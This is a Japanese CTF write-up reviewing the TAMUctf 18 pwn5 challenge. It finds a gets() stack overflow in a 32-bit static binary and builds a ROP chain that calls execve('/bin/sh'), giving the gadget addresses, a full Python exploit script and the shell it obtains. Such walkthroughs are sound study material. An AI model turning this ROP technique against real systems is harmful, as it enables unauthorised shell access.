TAMUctf 18 [pwn 125] pwn5 復習
前回に引き続き、TAMUctf 18の[pwn 200] pwn5を復習する。 参考にしたサイトはこちら。
https://devel0pment.de/?p=407#pwn5
まずはバイナリの初動調査。
$ file pwn5 pwn5: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=732cfe3cc8d9338ec19a157615505d10d2dc396b, not stripped
32bit
のstatic
なバイナリ。strip
されてない。
続いてセキュリティ機構の調査をする。
$ checksec.sh --file pwn5 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH pwn5
NX
が有効なため、シェルコードを持ち込んで実行するということはできないらしい。
それからディスアセンブルをしてみると、change_major
で脆弱性を発見した。
0804889c <change_major>: 804889c: push ebp 804889d: mov ebp,esp 804889f: sub esp,0x28 80488a2: call 8051260 <getchar> 80488a7: sub esp,0xc 80488aa: lea eax,[ebp-0x1c] 80488ad: push eax 80488ae: call 804f7e0 <_IO_gets> 80488b3: add esp,0x10 80488b6: sub esp,0x4 80488b9: push 0x14 80488bb: push 0x80f1a04 80488c0: lea eax,[ebp-0x1c] 80488c3: push eax 80488c4: call 8048260 <.plt+0x80> 80488c9: add esp,0x10 80488cc: sub esp,0x8 80488cf: push 0x80f1a04 80488d4: push 0x80bf508 80488d9: call 804efe0 <_IO_printf> 80488de: add esp,0x10 80488e1: nop 80488e2: leave 80488e3: ret
gets
関数を使って[ebp-0x1c]
にユーザからの入力を読み込んでいる。つまりスタックBOFの脆弱性が存在する。
他の処理にフラグを直接読み込むなどの処理は無かった。
なので、ここからシステムコール呼び出しによるexecve("/bin/sh",0x0,0x0)
をROPを用いて実行する。
ROPによってexecve("/bin/sh",0x0,0x0)
を実行するには、以下のような処理を実行する必要がある。
以上のような処理をできるようROPガジェットを探し、アドレスをまとめると以下のとおりになった。
mov eax,0x7; ret
(0x80932f0
),inc eax; pop edi; ret
(0x805d39c
)pop edx; pop ecx; pop edx; ret
(0x80733b0
)int 0x80
(0x8071005
)
また、/bin/sh
の文字列を実際に格納するのは、グローバル変数として宣言されているfirst_name
もしくはlast_name
を使うことにした。
(今回はfirst_name
(0x80f1a20
)を使うことにした。)
以上のことをまとめて、exploitコードを書くと以下のようになる。
import socket import struct import telnetlib pop_edx_ecx_ebx = 0x80733b0 inc_eax_pop_edi = 0x805d39c int_0x80 = 0x8071005 first_name = 0x80f1a20 mov_eax_0x7 = 0x80932f0 def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def main(): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("localhost",12345)) s.send("/bin/sh\n") s.send("happynote3966\n") s.send("pwn\n") s.send("y\n") s.send("2\n") buf = 'A' * 0x1c buf += 'AAAA' # saved ebp # ebx = "/bin/sh", ecx = 0x0 buf += struct.pack("<I",pop_edx_ecx_ebx) buf += struct.pack("<I",0x0) buf += struct.pack("<I",0x0) buf += struct.pack("<I",first_name) # eax = 0xb buf += struct.pack("<I",mov_eax_0x7) buf += struct.pack("<I",inc_eax_pop_edi) buf += 'AAAA' buf += struct.pack("<I",inc_eax_pop_edi) buf += 'AAAA' buf += struct.pack("<I",inc_eax_pop_edi) buf += 'AAAA' buf += struct.pack("<I",inc_eax_pop_edi) buf += 'AAAA' # int 0x80 buf += struct.pack("<I",int_0x80) buf += "\n" s.send(buf) print("[+] GOT SHELL!") shell(s) if __name__ == '__main__': main()
イメージ的には、以下のようになる。
[ebp-0x1c] AAAA [ebp-0x18] AAAA [ebp-0x14] AAAA [ebp-0x10] AAAA [ebp-0x0c] AAAA [ebp-0x08] AAAA [ebp-0x04] AAAA [ebp-0x00] AAAA [ebp+0x04] pop_edx_ecx_ebx <= リターンアドレス [ebp+0x08] 0x0 <= edx=0x0 [ebp+0x0c] 0x0 <= ecx=0x0 [ebp+0x10] first_name <= ebx="/bin/sh" [ebp+0x14] mov_eax_0x7 <= eax=0xb [ebp+0x18] inc_eax_pop_edi [ebp+0x1c] AAAA [ebp+0x20] inc_eax_pop_edi [ebp+0x24] AAAA [ebp+0x28] inc_eax_pop_edi [ebp+0x2c] AAAA [ebp+0x30] inc_eax_pop_edi [ebp+0x34] AAAA [ebp+0x38] int 0x80 <= システムコール呼び出し
これらを実行してみる。
$ python exploit.py [+] GOT SHELL! id uid=1000(happynote3966) gid=1000(happynote3966) groups=1000(happynote3966),...
ちゃんとシェルが起動された。
反省
自作していたROP問がopen
、read
、write
を使用してフラグを入手する想定だったため、
真っ先に思い浮かんだものがそっちのやり方になってしまった。
ROPでシェルを起動できそうなら、その方法でexploitを進める癖をしないといけないと思った。